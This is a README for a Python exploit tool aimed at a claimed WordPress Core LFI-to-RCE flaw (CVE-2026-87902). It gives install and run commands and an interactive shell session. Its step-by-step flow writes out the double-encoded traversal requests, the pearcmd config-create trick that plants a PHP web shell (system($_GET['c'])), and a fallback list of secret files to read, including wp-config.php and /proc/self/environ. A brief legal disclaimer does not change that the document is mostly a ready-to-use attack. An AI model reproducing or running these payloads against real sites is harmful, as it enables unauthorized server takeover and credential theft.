Python exploit for CVE-2026-87902, a WordPress Core LFI-to-RCE chain. Fingerprints versions, writes a PHP shell via pearcmd, and provides command execution or LFI fallback.
β οΈ LEGAL WARNING Using it against systems you do not own or have written permission to test is illegal and punishable under cyber crime laws. The author assumes no responsibility for misuse.
| Field | Value |
|---|---|
| CVE | CVE-2026-87902 |
| Type | Local File Inclusion (LFI) β Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| Affected | WordPress 4.7.0 β 7.1.1 |
| Patched | WordPress 7.1.2 (and backports up to 4.7.37) |
| Root Cause | get_page_template() does not call validate_file() after URL-decoding the pagename parameter, allowing double-encoded traversal (%252E%252E%252F) to bypass sanitization and include arbitrary .php files outside the theme directory. |
For full RCE, all of the following must be true:
page-* directory (e.g. page-templates/)pearcmd.php is present and readable by the web server user (default in official PHP Docker images and many cPanel installs with PHP < 8.5)register_argc_argv=On (default in PHP < 8.5)If any of these are missing, the exploit will fall back to LFI-only file read.
exploit.py # Main exploit script README.md # This file report.json # (optional) Output report when -o is used
Install:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
This will:
Β· Fingerprint WordPress version and active theme Β· Verify vulnerable version range Β· Locate a published page ID (REST β sitemap β brute force) Β· Attempt to write a PHP shell via pearcmd.php Β· Attempt to include the shell and execute id Β· If RCE fails, fall back to LFI on sensitive files
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Inside the shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
π§Ύ CLI Reference
Flag Long Description -t --target Required. Target WordPress URL (no trailing slash). -c --command Execute a single shell command after RCE. -i --interactive Open an interactive shell after RCE. -v --verbose Print detailed progress. -o --output Save the final report as JSON to the given path. -h --help Show help.
π Exploit Flow
[1] Fingerprint
ββ WordPress version (meta generator / asset ?ver=)
ββ Active theme (/wp-content/themes/<name>/)
[2] Version check
ββ 4.7.0 β 7.1.1 ? continue : warn & continue
[3] Find page ID
ββ REST: /wp-json/wp/v2/pages
ββ Sitemap: /wp-sitemap.xml
ββ Brute force: /?page_id=1..30
[4] Check page-* directory
ββ page-templates
ββ page-template
ββ pages
ββ templates
ββ page
[5] Write shell via pearcmd
ββ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
ββ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
ββ /etc/passwd
ββ /etc/hostname
ββ /proc/self/environ
ββ /proc/version
ββ wp-config.php
ββ ../.. variants